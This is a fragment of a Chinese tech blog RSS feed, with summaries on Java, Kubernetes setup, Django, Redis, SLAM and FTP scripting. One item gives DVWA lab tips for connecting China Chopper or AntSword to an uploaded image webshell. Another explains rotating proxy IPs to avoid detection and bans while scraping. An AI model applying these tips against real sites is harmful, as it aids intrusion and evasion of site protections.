      <description> String.format(“%.2f”, (double) 100.9) 解析：&#xA;保留小数点后两位；不够两位补0；超过两位的只留两位，第二位按照第三位的值四舍五入。 运行示例，&#xA;public class TestFormat2 { public static void main(String[] args) { System.out.println(String.format(&#34;%.2f&#34;, (double) 100)); System.out.println(String.format(&#34;%.2f&#34;, (double) 100.9)); System.out.println(String.format(&#34;%.3f&#34;, (double) 200)); System.out.println(String.format(&#34;%.3f&#34;, (double) 200.01)); System.out.println(String.format(&#34;%.3f&#34;, (double) 200.1234)); System.out.println(String.format(&#34;%.3f&#34;, (double) 200.1236)); } } 结果，&#xA;100.00 100.90 200.000 200.010 200.123 200.124 </description>
    </item>
    <item>
      <title>java 多线程详解</title>
      <link>https://bchobby.github.io/posts/d35fa5e9e3b6bcd7bce52d47f6b3f228/</link>
      <pubDate>Wed, 27 Dec 2023 10:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d35fa5e9e3b6bcd7bce52d47f6b3f228/</guid>
      <description>Java 多线程是 Java 编程语言中的一个重要特性，它允许程序同时执行多个任务。多线程在提高程序性能、提升用户体验等方面有着重要的作用。&#xA;在 Java 中，多线程可以通过继承 Thread 类或实现 Runnable 接口来创建。下面是创建多线程的两种方法的详细说明：&#xA;继承 Thread 类：&#xA;创建一个继承自 Thread 类的子类。重写 Thread 类的 run() 方法，在此方法中定义线程的执行逻辑。创建线程对象，并调用 start() 方法来启动线程。例如：&#xA;class MyThread extends Thread { public void run() { // 线程的执行逻辑 } } public class Main { public static void main(String[] args) { MyThread thread = new MyThread(); thread.start(); } } 实现 Runnable 接口：&#xA;创建一个实现 Runnable 接口的类。实现 Runnable 接口的 run() 方法，在此方法中定义线程的执行逻辑。创建线程对象，并传入实现了 Runnable 接口的类实例。调用线程对象的 start() 方法来启动线程。例如：&#xA;class MyRunnable implements Runnable { public void run() { // 线程的执行逻辑 } } public class Main { public static void main(String[] args) { Thread thread = new Thread(new MyRunnable()); thread.</description>
    </item>
    <item>
      <title>雪花算法生成id重复的坑</title>
      <link>https://bchobby.github.io/posts/7115628547aceff1ca66d3532a19e659/</link>
      <pubDate>Wed, 27 Dec 2023 10:54:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7115628547aceff1ca66d3532a19e659/</guid>
      <description>雪花算法是一种分布式ID生成算法，用于生成全局唯一的ID。它的原理是通过将一个64位的ID分为不同的部分，分别表示不同的参数，以保证ID的全局唯一性。一般来说，雪花算法生成的ID是不会重复的，但是在实际应用中，也存在一些可能导致ID重复的情况，下面详细说明其中的坑：&#xA;1. 时钟回拨：雪花算法的第一部分是一个时间戳，其中包含了41位表示毫秒级时间戳的字段。如果系统时钟发生回拨，即当前时间小于上一次生成ID的时间，会导致生成的ID重复。为了解决这个问题，可以采用一些策略，如等待时钟追赶上去，或者拒绝生成ID。&#xA;2. 并发生成ID：雪花算法在同一毫秒内可以根据机器ID和序列号生成多个ID。但是如果同一毫秒内，并发生成的ID超过了序列号的范围（12位），则会导致序列号部分重复。为了解决这个问题，可以限制并发生成ID的线程数量或者等待下一毫秒再生成ID。&#xA;3. 机器ID重复：雪花算法的第二部分是机器ID，用来表示不同的机器。如果部署的多台机器使用了相同的机器ID，则会导致生成的ID重复。为了避免这个问题，需要保证每台机器使用唯一的机器ID。&#xA;4. 序列号溢出：雪花算法的最后一部分是序列号，用来表示同一毫秒内并发生成的ID。如果序列号部分的位数不够，即超过了序列号的范围（12位），则会导致序列号部分重复。为了解决这个问题，可以等待下一毫秒再生成ID，或者使用更长的序列号位数。&#xA;总之，雪花算法生成的ID在理论上是不会重复的。但是在实际应用中，还是需要注意以上几个问题，采取相应的策略来处理可能导致ID重复的情况。</description>
    </item>
    <item>
      <title>ORB-SLAM3的Local&amp;MapMerging线程详解</title>
      <link>https://bchobby.github.io/posts/712102b862944296f8c7ed3dccf53463/</link>
      <pubDate>Wed, 27 Dec 2023 10:54:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/712102b862944296f8c7ed3dccf53463/</guid>
      <description>ORB-SLAM3的Local&amp;amp;MapMerging线程的代码主要集中于LocalClosing.cc的run()函数中，主要执行五个函数分别是：CheckNewKeyFrames() 函数、NewDetectCommonRegions()函数、MergeLocal()函数、MergeLocal2()函数、CorrectLoop() 函数。如果新进入的关键帧，在闭环检测的过程中，如果是当前地图下的，不用进入MergeLocal()函数和MergeLocal2()函数，直接做闭环校正；在非当前地图下，先做地图合并，再做闭环校正。&#xA;类型函数boolCheckNewKeyFrames()boolNewDetectCommonRegions()voidMergeLocal()voidMergeLocal2()voidCorrectLoop() 文章目录 一、LocalClosing的run()函数1、CheckNewKeyFrames()2、NewDetectCommonRegions()3、MergeLocal()4、MergeLocal2()5、CorrectLoop() 二、代码详解1、LoopClosing.h（1）参数（2） 主函数Run()（3） 插入关键帧函数InsertKeyFrame()（4） 运行全局BA优化函数RunGlobalBundleAdjustment()（5）是否有关键帧插入函数bool CheckNewKeyFrames()（6）检测闭环函数()bool NewDetectCommonRegions();（7）最后一帧中计算相似度()bool DetectAndReffineSim3FromLastKF();（8）通过词袋去计算相似度函数()bool DetectCommonRegionsFromBoW(); 2、LoopClosing.cc 一、LocalClosing的run()函数 1、CheckNewKeyFrames() 检查队列mlpLoopKeyFrameQueue是否有未处理的关键帧&#xA;这个函数和局部建图线程是一样的，首先看队列里是否插入关键帧。对于局部建图线程是跟踪线程给的关键帧，那么对于闭环和地图合并线程是局部建图线程给的关键帧。所以观察是否有未处理的关键帧，如果有，往后执行。&#xA;2、NewDetectCommonRegions() 实现闭环检测&#xA;布尔函数，在函数中确定有无闭环，有闭环就地图合并。&#xA;3、MergeLocal() 非当前地图闭环情况下，纯视觉模式的地图合并与校正&#xA;纯视觉误差为重投影误差&#xA;4、MergeLocal2() 非当前地图闭环情况下，IMU模式的地图合并与校正&#xA;对IMU情况， 考虑IMU误差和视觉的重投影误差&#xA;5、CorrectLoop() 当前地图闭环情况下，闭环校正&#xA;二、代码详解 1、LoopClosing.h （1）参数 LoopClosing(Atlas* pAtlas, KeyFrameDatabase* pDB, ORBVocabulary* pVoc,const bool bFixScale, const bool bActiveLC); 函数功能Atlas多地图系统KeyFrameDatabase关键帧库ORBVocabularyORB词袋bFixScale是否固定大小bActiveLC主动闭环检测 （2） 主函数Run() void Run(); 检查是否有执行关键帧到闭环和地图合并线程，闭环检测，地图合并，闭环校正&#xA;（3） 插入关键帧函数InsertKeyFrame() void InsertKeyFrame(KeyFrame *pKF); 将关键帧插入线程&#xA;（4） 运行全局BA优化函数RunGlobalBundleAdjustment() void RunGlobalBundleAdjustment(Map* pActiveMap, unsigned long nLoopKF); 涉及参数：主动图pActiveMap和闭环关键帧nLoopKF&#xA;（5）是否有关键帧插入函数bool CheckNewKeyFrames() 核心函数</description>
    </item>
    <item>
      <title>K8S的二进制部署</title>
      <link>https://bchobby.github.io/posts/c9aa14108dd7898532c24a5b439c3ef3/</link>
      <pubDate>Wed, 27 Dec 2023 10:44:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9aa14108dd7898532c24a5b439c3ef3/</guid>
      <description>K8S的源码包部署 搭建准备：&#xA;k8smaster01：20.0.0.32 kube-apiserver kube-controller-manager kube-scheduler etcd k8smaster02：20.0.0.33 kube-apiserver kube-controller-manager kube-scheduler node节点01：20.0.0.34 kubelet kube-proxy etcd node节点02：20.0.0.35 kubelet kube-proxy etcd 负载均衡：nginx+keepalive+master01：20.0.0.36 负载均衡：nginx+keepalive+master02：20.0.0.37 ercd：20.0.0.32、20.0.0.34、20.0.0.35 开始部署 k8smaster01、node01、node02&#xA;iptables -F iptables -t nat -F iptables -t mangle -F iptables -x #清空iptables的所有策略 master01、node01、node02关闭swap交换分区 swapoff -a #关闭swap交换分区 #k8s在涉及时，为了提升性能，默认不使用swap交换分区，k8s在初始化的时候会自动检测swap 开始给主机改名 hostnamectl set-hostname master01 hostnamectl set-hostname node01 hostnamectl set-hostname node02 vim /etc/hosts/ 20.0.0.32 master01 20.0.0.34 node01 20.0.0.35 node02 #坐映射 cat &amp;gt; /etc/sysctl.d/k8s.conf &amp;lt;&amp;lt; EOF net.bridge.bridge-nf-call-ip6tables = 1 net.</description>
    </item>
    <item>
      <title>如何才能更好的选择属于自己的服务器呢?</title>
      <link>https://bchobby.github.io/posts/138560dd4c9840e6b3efd97676ed3bd3/</link>
      <pubDate>Wed, 27 Dec 2023 10:43:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/138560dd4c9840e6b3efd97676ed3bd3/</guid>
      <description>如何才能更好的选择属于自己的服务器呢?&#xA;第一：网站有备案，1.用户多居于北方，选择联通线路;2.用户多居于南方，选择电信线路;3，用户分布于全国各个地区，选择BGP或者是双线线路。正所谓：南电信北联通。才能更好的顺应客户的本地网络情况。&#xA;第二：网站无备案，需要选择非大陆的海外云服务器，注：仅为域名无备案的，但是需要进行实名认证。方便更加快捷的联系处理问题。&#xA;第三：如果网站有攻击，尽可能选择带有防护的机房，美国高防服务器比较多，保证网络的安全性。</description>
    </item>
    <item>
      <title>Java 使用 Integer 实现进制转换</title>
      <link>https://bchobby.github.io/posts/0df9b57e74da938942e9cffef2eb7bdd/</link>
      <pubDate>Wed, 27 Dec 2023 10:41:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0df9b57e74da938942e9cffef2eb7bdd/</guid>
      <description>使用 java.lang.Integer 可以很方便的实现进制转换。&#xA;十进制的 200 ，转换为二进制是 11001000 ，转换为十六进制是 c8 。&#xA;代码示例，&#xA;public class HexTest { public static void main(String[] args) { // 十进制的 200 ，转换为二进制是 11001000 ，转化为十六进制是 c8 System.out.println(&#34;把 (String)200 转为 int: &#34; + Integer.parseInt(&#34;200&#34;)); System.out.println(&#34;把十进制 (int) 200 转为二进制 String: &#34; + Integer.toBinaryString(200)); System.out.println(&#34;把二进制的（String）11001000 转为十进制 int: &#34; + Integer.parseInt(&#34;11001000&#34;, 2)); System.out.println(&#34;把十进制 (int) 200 转为十六进制 String: &#34; + Integer.toHexString(200)); System.out.println(&#34;把十六进制的 (String) c8 转为十进制 int: &#34; + Integer.parseInt(&#34;c8&#34;, 16)); System.out.println(&#34;把十六进制的 (String) -c8 转为十进制 int: &#34;</description>
    </item>
    <item>
      <title>第五章 与HTTP协作的Web服务器</title>
      <link>https://bchobby.github.io/posts/2d3feaea0860010f09cc41ed5ba6103d/</link>
      <pubDate>Wed, 27 Dec 2023 10:34:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d3feaea0860010f09cc41ed5ba6103d/</guid>
      <description>5.1 用单台虚拟主机实现多个域名 在传统的基于IP地址的服务器配置中，一台服务器通常只能提供一个域名的服务。然而，通过虚拟主机的技术，同一台服务器可以根据请求中的域名，区分并提供不同的网站内容。这使得在一台物理或虚拟服务器上托管多个域名成为可能，从而在资源更加有限的环境中实现更高的资源利用率。&#xA;实现这一功能的关键是在服务器的配置中定义多个虚拟主机，并为每个虚拟主机指定相应的域名和相关的配置信息，以确保服务器能够正确地区分和响应来自不同域名的请求。&#xA;在一台物理或虚拟服务器上，通过配置使得这台服务器能够响应来自多个不同域名的 HTTP 请求。这个概念通常被称为虚拟主机（Virtual Host）。&#xA;客户端使用HTTP协议访问服务器时，会经常采用类似www.hackrjp这样的主机名和城名&#xA;在互联网上，域名通过DNS服务映射到IP地址(域名解析)之后访问目标网站。可见，当请求发送到服务器时，已经是以IP地址形式访问了。&#xA;所以，如果一台服务器内托管了www.tricorderjp和wwwhackrjp这两个域名，当收到请求时就需要弄清楚究竟要访问哪个域名。&#xA;在相同的IP地址下，由于虚拟主机可以寄存多个不同主机名和城名的Web网站，因此在发送HTTP请求时，必须在Host首部内完整指定主机名或域名的URI&#xA;5.2 通信数据转发程序: 代理, 网关, 隧道 HTTP通信时，除客户端和服务器以外，还有一此用于通信数据转发的应用程序，例如代理、网关和隧道。它们可以配合服务器工作。&#xA;这些应用程序和服务器可以将请求转发给通信线路上的下一站服务器，并且能接收从那台服务器发送的响应再转发给客户端。&#xA;5.2.1 代理 代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求 URI，会直接发送给前方持有资源的目标服务器。&#xA;持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过代理服务器后再传给客户端。&#xA;HTTP通信过程中, 可以级联多台代理服务器, 请求和响应的转发会经过数台连接起来的代理服务器, 转发时, 需要附加Via首部字段以标记出经过的主机信息&#xA;功能：&#xA;访问控制： 代理可以根据一些规则控制对特定资源的访问，实现访问控制策略。安全性： 代理可以提供额外的安全层，隐藏客户端的真实 IP 地址，防范攻击。缓存： 代理可以缓存先前请求的响应，提高对重复请求的响应速度。日志记录： 代理可以记录经过它的请求和响应，用于分析和监控网络活动。 透明代理&#xA;转发请求或响应时，不对报文做任何加工的代理类型被称为透明代理(Transparent Proxy)。反之，对报文内容进行加工的代理被称为非透明代理。&#xA;5.2.2 网关 网关的工作机制和代理十分相似。而网关能使通信线路上的服务器提供非HTTP协议服务&#xA;利用网关能提高通信的安全性，因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。比如，网关可以连接数据库，使用SQL语句查询数据。另外，在Web 购物网站上进行信用卡结算时，网关可以和信用卡结算系统联动。&#xA;5.2.3 隧道 隧道是一种通过网络传输层直接连接两个端点的通信机制。隧道通常用于在两个网络之间创建私密、安全的连接，将数据以加密的方式传输。&#xA;隧道本身不会去解析HTTP请求, 即请求会原样中转给之后的服务器, 隧道会在通信双方断开连接时结束&#xA;5.3 保存资源的缓存 缓存是指代理服务器或客户端本地磁盘内保存的资源副本。利用缓存可减少对源服务器的访问，因此也就节省了通信流量和通信时间&#xA;缓存服务器是代理服务器的一种，并归类在缓存代理类型中。换句话说，当代理转发从服务器返回的响应时，代理服务器将会保存一份资源的副本。&#xA;缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。因此客户端可就近从缓存服务器上获取资源，而源服务器也不必多次处理相同的请求了。&#xA;5.3.1 缓存的有效期限 即便缓存服务器内有缓存，也不能保证每次都会返回对同资源的请求。因为这关系到被缓存资源的有效性问题&#xA;当遇上源服务器上的资源更新时，如果还是使用不变的缓存，那就会演变成返回更新前的“旧”资源了&#xA;即使存在缓存，也会因为客户端的要求、缓存的有效期等因素，向源服务器确认资源的有效性。若判断缓存失效，缓存服务器将会再次从源服务器上获取“新”资源。&#xA;5.3.2 客户端的缓存 缓存不仅可以存在于缓存服务器内，还可以存在客户端浏览器中。以Internet Explorer程序为例，把客户端缓存称为临时网络文件(TemporaryInternet File )。&#xA;浏览器缓存如果有效，就不必再向服务器请求相同的资源了，可以直接从本地磁盘内读取。&#xA;另外，和缓存服务器相同的一点是，当判定缓存过期后，会向源服务器确认资源的有效性。若判断浏览器缓存失效，浏览器会再次请求新资源。</description>
    </item>
    <item>
      <title>Django创建投票应用</title>
      <link>https://bchobby.github.io/posts/091319a23bfa0f40146370f00601f71c/</link>
      <pubDate>Wed, 27 Dec 2023 10:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/091319a23bfa0f40146370f00601f71c/</guid>
      <description>目录&#xA;创建应用&#xA;创建模型mysite\\polls\\models.py&#xA;激活模型mysite\\setting.py&#xA;为模型的改变生成迁移文件&#xA;应用数据库迁移&#xA;创建管理员账号&#xA;管理投票应用mysite\\polls\\admin.py&#xA;添加视图mysite\\polls\\views.py&#xA;添加路径mysite\\polls\\urls.py&#xA;创建模版mysite\\polls\\templates\\polls\\index.html&#xA;启动开发服务器python manage.py runserver&#xA;关于数据库配置，更多内容请看在Django中配置PostgreSQL-CSDN博客&#xA;创建应用 python manage.py startapp polls 创建模型&#xA;mysite\\polls\\models.py from django.db import models class Question(models.Model): question_text = models.CharField(max_length=200) pub_date = models.DateTimeField(&#34;date published&#34;) class Choice(models.Model): question = models.ForeignKey(Question, on_delete=models.CASCADE) choice_text = models.CharField(max_length=200) votes = models.IntegerField(default=0) 激活模型&#xA;mysite\\setting.py INSTALLED_APPS = [ &#34;polls.apps.PollsConfig&#34;, &#34;django.contrib.admin&#34;, &#34;django.contrib.auth&#34;, &#34;django.contrib.contenttypes&#34;, &#34;django.contrib.sessions&#34;, &#34;django.contrib.messages&#34;, &#34;django.contrib.staticfiles&#34;, ] 为模型的改变生成迁移文件 python manage.py makemigrations polls 应用数据库迁移 python manage.py migrate 创建管理员账号 python manage.</description>
    </item>
    <item>
      <title>Alibaba Cloud Linux 3.2104 LTS 64位镜像兼容和性能如何？</title>
      <link>https://bchobby.github.io/posts/42401a49b478b0bc0f99c6fb8ca82854/</link>
      <pubDate>Wed, 27 Dec 2023 10:30:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42401a49b478b0bc0f99c6fb8ca82854/</guid>
      <description>阿里云Alibaba Cloud Linux 3.2104 LTS 64位镜像是可以选择的，它阿里云打造的Linux服务器操作系统发行版，针对云服务器ECS做了大量深度优化，完全兼容RHEL/CentOS生态和操作方式，如果是阿里云服务器ECS建议选择Alibaba Cloud Linux镜像操作系统，Alibaba Cloud Linux镜像由阿里云官方提供长期支持和维护(LTS)，阿里云服务器网aliyunfuwuqi.com分享Alibaba Cloud Linux 3.2104 LTS 64位详细说明：&#xA;Alibaba Cloud Linux 3.2104为64位操作系统，64位架构是指CPU一次性可以处理64位数据，提供更强的计算能力和更大的内存管理能力，镜像ID为aliyun_3_x64_20G_alibase_20230727.vhd，可以在阿里云CLUB中心领券 aliyun.club 专用满减优惠券。&#xA;版本号镜像ID发布时间发布内容Alibaba Cloud Linux 3.2104 U8aliyun_3_x64_20G_alibase_20230727.vhd2023-07-27更新Alibaba Cloud Linux 3.2104 LTS 64位基础镜像到最新的软件版本&#xA;内核版本更新至5.10.134-15.al8.x86_64 综上，放心选择阿里云Alibaba Cloud Linux 3.2104 LTS 64位镜像操作系统，阿里云支持免费更换操作系统，如果不合适，可以在后台免费更换云服务器的系统镜像。</description>
    </item>
    <item>
      <title>STL--集合：set</title>
      <link>https://bchobby.github.io/posts/5b66845b2de142f05906a92ac8f1d8c1/</link>
      <pubDate>Wed, 27 Dec 2023 10:30:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b66845b2de142f05906a92ac8f1d8c1/</guid>
      <description>set的介绍 set就是数学上的集合--每个元素最多只出现一次。和sort一样，自定义类型也可以构造set，但同样必须定义“小于”运算符。set中元素具有已从小到大排好序的性质。&#xA;set的应用 题目&#xA;输入一个文本，找出所有不同的单词（连续的字母序列），按字典序从小到大输出。单词不区分大小写。&#xA;样例输入&#xA;Adventures in Disneyland Two blondes were going to Disneyland&#xA;when they came to a fork in the road. The sign read: “Disneyland&#xA;Left.” So they went home.&#xA;样例输出&#xA;a&#xA;adventures&#xA;blondes&#xA;came&#xA;disneyland&#xA;fork&#xA;going&#xA;home&#xA;in&#xA;left&#xA;read&#xA;road&#xA;sign&#xA;so&#xA;the&#xA;they&#xA;to&#xA;two&#xA;went&#xA;were&#xA;when&#xA;代码&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;set&amp;gt; #include&amp;lt;sstream&amp;gt; using namespace std; set&amp;lt;string&amp;gt;dict;//string集合 int main(){ string s,buf; while(cin&amp;gt;&amp;gt;s){ for(int i=0;i&amp;lt;s.</description>
    </item>
    <item>
      <title>如何获取2024年交易日历？</title>
      <link>https://bchobby.github.io/posts/cd8769b8101838b894e723640a363ac9/</link>
      <pubDate>Wed, 27 Dec 2023 10:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd8769b8101838b894e723640a363ac9/</guid>
      <description>交易日历是金融领域的重要参考工具，包含了各国的法定节假日、休市日、交易时间调整等信息，能够帮助投资交易者合理安排交易时间、了解市场情况、提高决策的准确性。&#xA;DolphinDB 自 2.00.9/1.30.21 版本开始，内置了国内外五十多个交易所的交易日历，同时也支持用户在此基础上，基于场景进行个性化定制。&#xA;新的一年即将开启，DolphinDB 提供的交易日历也升级到2024年的全新版本啦！我们为大家提供了离线更新和在线更新两种方式：&#xA;离线更新 若采用离线更新方式，可以在 交易日历 下载 marketHoliday 文件夹，并替换 &amp;lt;dolphindb&amp;gt;/server 路径下的 marketHoliday 文件夹。若为集群环境，需要替换每台机器下的对应文件夹。在替换完成后，需要重启集群完成更新。&#xA;在线更新 若采用在线更新方式，可以在 交易日历 下载 marketHoliday 文件夹，并放在和 dolphindb 同一服务器的任意位置。若为集群环境，每台机器都需要放置 marketHoliday 文件夹。注意，不能覆盖原本 &amp;lt;dolphindb&amp;gt;/server 路径下的 marketHoliday 文件夹。在替换完成 marketHoliday 文件夹后，可以参照下面的代码实现在线更新：&#xA;def update_2024_holiday(market_code, old_holiday_dir, new_holiday_dir){ old_holiday_files = exec filename.strReplace(&#34;.csv&#34;,&#34;&#34;) from files(old_holiday_dir) new_holiday_files = exec filename.strReplace(&#34;.csv&#34;,&#34;&#34;) from files(new_holiday_dir) if (!(market_code in new_holiday_files)){ return &#34;There is no market holiday file of the exchange.&#34; } this_holiday = loadText(new_holiday_dir+&#39;/&#39;+market_code+&#34;.csv&#34;) if (market_code in old_holiday_files){ updateMarketHoliday(market_code,this_holiday.</description>
    </item>
    <item>
      <title>[Redis实战]商户查询缓存</title>
      <link>https://bchobby.github.io/posts/50dac4a4795d9267d1faf3806ba22f2c/</link>
      <pubDate>Wed, 27 Dec 2023 10:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50dac4a4795d9267d1faf3806ba22f2c/</guid>
      <description>二、商户查询缓存 2.1 缓存 2.1.1 为什么使用缓存？ 一句话：速度快，好用&#xA;缓存数据存储于代码中，而代码运行在内存中，内存的读写性能远高于磁盘，缓存可以大大降低用户访问并发量带来的服务器读写压力。&#xA;实际开发过程中，企业的数据量，少则几十万，多则几千万，这么大的数据量，如果没有使用缓存，系统几乎是撑不住的，所以企业会大量运用到缓存技术。&#xA;但是缓存也会增加代码复杂度和运营的成本。&#xA;2.1.2 如何使用缓存？ 实际开发中，会构筑多级缓存来使系统运行速度进一步提升，例如：本地缓存与redis中的缓存并发使用&#xA;浏览器缓存：主要是存在于浏览器端的缓存&#xA;应用层缓存：可以分为tomcat本地缓存，比如使用redis作为缓存&#xA;数据库缓存：在数据库中有一片空间 buffer pool，增删改查数据都会先加载到mysql的缓存中&#xA;CPU缓存：当代计算机最大的问题是cpu性能提升了，但内存读写速度没有跟上，所以为了适应当下的情况，增加了cpu的L1,L2,L3级的缓存&#xA;2.2 添加商户缓存 在我们查询商户信息时，我们是直接操作从数据库中去进行查询的，大致逻辑是这样，直接查询数据库那肯定慢咯，所以我们需要增加缓存&#xA;2.2.1 缓存模型和思路 标准的操作方式就是查询数据库之前先查询缓存，如果缓存数据存在，则直接从缓存中返回，如果缓存数据不存在，再查询数据库，然后将数据存入redis。&#xA;2.2.2 代码示例 ShopController&#xA;/** * 根据id查询商铺信息 * @param id 商铺id * @return 商铺详情数据 */ @GetMapping(&#34;/{id}&#34;) public Result queryShopById(@PathVariable(&#34;id&#34;) Long id) { return shopService.queryById(id); } ShopService&#xA;@Autowired private StringRedisTemplate stringRedisTemplate; @Override public Result queryById(Long id) { String key = CACHE_SHOP_KEY + id; //1.从redis查询商铺缓存 String shopJson = stringRedisTemplate.</description>
    </item>
    <item>
      <title>dvwa问题篇 -- 菜刀蚁剑连接不上图片木马 -- 小黑解决教程</title>
      <link>https://bchobby.github.io/posts/26d001f79f7600cbecdb6bdd80075eb0/</link>
      <pubDate>Wed, 27 Dec 2023 10:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26d001f79f7600cbecdb6bdd80075eb0/</guid>
      <description>各位小伙伴初次玩dvwa会出现各种问题，本来想把一些问题直接总结写一篇dvwa文章来着，但因为都是关键字搜索，所以将一些问题都拆分出来，以便大家方便查类似问题。（大家有遇到不一样的问题欢迎投稿！！共享问题解决问题！！）&#xA;目录&#xA;问题：&#xA;解决：&#xA;问题： 菜刀蚁剑连接不上图片木马&#xA;解决： 1、需要在菜刀上访问dvwa，设定为low级别，访问该图片&#xA;2、phpstudy的php版本过高将为5.0版本即可</description>
    </item>
    <item>
      <title>代理IP在大数据抓取中的关键角色及其有效配置</title>
      <link>https://bchobby.github.io/posts/b3e481cdf5b41f806e6e169e64acd325/</link>
      <pubDate>Wed, 27 Dec 2023 10:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3e481cdf5b41f806e6e169e64acd325/</guid>
      <description>代理IP在大数据抓取中扮演着以下几个关键角色：&#xA;1. 匿名性：代理IP可以隐藏真实用户的IP地址，保护用户的身份和隐私。在数据抓取过程中，这可以帮助避免目标网站识别并封锁原始IP地址。&#xA;2. 突破地理限制：通过使用来自不同地区的代理IP，爬虫可以模拟全球各地的用户访问，获取特定地区或国家的专属数据，这对于进行地域性数据分析非常有用。&#xA;3. 防止封禁：许多网站会限制频繁或大规模的数据访问。使用代理IP可以轮流切换IP地址，降低被目标网站检测到并封锁的风险。&#xA;4. 提高效率：一些代理服务提供高速和稳定的IP，可以提高数据抓取的速度和效率。&#xA;要有效配置代理IP进行大数据抓取，以下是一些步骤和考虑因素：&#xA;1. 选择合适的代理类型：根据需求选择HTTP、HTTPS或 SOCKS 代理。HTTP代理适用于抓取HTTP网站数据，而HTTPS代理则适用于加密的HTTPS连接。&#xA;2. 获取代理IP：可以通过购买专业的代理IP服务，这些服务通常提供高质量、高匿名性和稳定性的IP。免费代理IP虽然成本低，但稳定性、速度和安全性可能较差。&#xA;3. 验证代理IP的有效性：在使用代理IP之前，需要验证其是否能够正常工作并且没有被目标网站封锁。这可以通过编写脚本或者使用在线工具来检查代理的响应时间和连接状态。&#xA;4. 配置爬虫：在爬虫代码中设置使用代理IP。具体方法取决于使用的编程语言和爬虫框架，但通常包括指定一个代理服务器列表，然后在每个请求或定期间隔中随机选择一个代理。&#xA;5. 负载均衡和轮换策略：为了最大化代理IP的使用效率和寿命，可以设计负载均衡和轮换策略。例如，可以设定每完成一定数量的请求或每隔一段时间就更换代理IP。&#xA;6. 遵守规则和法律：确保在使用代理IP进行数据抓取时，遵守目标网站的robots.txt规则和相关法律法规，尊重数据所有权和隐私权。&#xA;7. 监控和调整：持续监控代理IP的性能和有效性，如果发现某些代理IP失效或速度下降，及时更新和调整代理列表。&#xA;通过以上步骤和注意事项，可以有效地配置和使用代理IP进行大数据抓取，提高数据收集的效率和质量，同时降低被目标网站检测和阻止的风险。</description>
    </item>
    <item>
      <title>使用Python编写自动传输脚本详解</title>
      <link>https://bchobby.github.io/posts/8a107a6aa5fa1afcdfe6ec510a398233/</link>
      <pubDate>Wed, 27 Dec 2023 09:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a107a6aa5fa1afcdfe6ec510a398233/</guid>
      <description>概要 写一个Python脚本来自动传输文件到FTP服务器是一个非常有用的任务，特别是在需要定期备份文件或与其他人共享文件时。本文将介绍如何编写一个Python脚本来实现FTP文件自动传输，并提供详细的内容和丰富的示例代码，以帮助您了解这个过程。&#xA;准备工作 在开始之前，需要安装Python并了解一些基本的FTP概念。此外，还需要确定要连接的FTP服务器的地址、用户名和密码，以及要上传或下载的文件的路径。&#xA;使用ftplib库进行FTP操作 Python中有一个名为ftplib的标准库，它提供了与FTP服务器进行通信的功能。&#xA;首先，确保已经安装了Python，然后可以使用以下代码导入ftplib库：&#xA;from ftplib import FTP 连接到FTP服务器 使用FTP类来连接到FTP服务器。在连接之前，请替换以下示例中的主机名、用户名和密码为实际的值：&#xA;ftp = FTP(&#39;ftp.example.com&#39;) ftp.login(user=&#39;your_username&#39;, passwd=&#39;your_password&#39;) 现在，已经成功连接到FTP服务器。&#xA;上传文件到FTP服务器 要上传文件到FTP服务器，可以使用storbinary方法。&#xA;以下是一个示例，将本地文件上传到FTP服务器：&#xA;with open(&#39;local_file.txt&#39;, &#39;rb&#39;) as local_file: ftp.storbinary(&#39;STOR remote_file.txt&#39;, local_file) 在上述代码中，local_file.txt是本地文件的路径，remote_file.txt是要在FTP服务器上保存的文件名。可以根据需要更改这些值。&#xA;下载文件从FTP服务器 要从FTP服务器下载文件，可以使用retrbinary方法。&#xA;以下是一个示例，将FTP服务器上的文件下载到本地：&#xA;with open(&#39;local_file.txt&#39;, &#39;wb&#39;) as local_file: ftp.retrbinary(&#39;RETR remote_file.txt&#39;, local_file.write) 在上述代码中，local_file.txt是本地文件的路径，remote_file.txt是要从FTP服务器上下载的文件名。&#xA;列出FTP服务器上的文件 要列出FTP服务器上的文件，可以使用nlst方法。&#xA;以下是一个示例，列出FTP服务器上的所有文件：&#xA;file_list = ftp.nlst() for file in file_list: print(file) 断开与FTP服务器的连接 当完成FTP操作时，不要忘记断开与服务器的连接：&#xA;ftp.quit() 完整示例 以下是一个完整的示例，演示了如何连接到FTP服务器、上传文件、下载文件和列出文件：&#xA;from ftplib import FTP ftp = FTP(&#39;ftp.example.com&#39;) ftp.login(user=&#39;your_username&#39;, passwd=&#39;your_password&#39;) # 上传文件到FTP服务器 with open(&#39;local_file.</description>
    </item>
    <item>
      <title>八怪：再谈 MySQL 8 这两个精准的时间戳</title>
      <link>https://bchobby.github.io/posts/8428334f2897b2f5daceead1be8f629e/</link>
      <pubDate>Wed, 27 Dec 2023 09:53:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8428334f2897b2f5daceead1be8f629e/</guid>
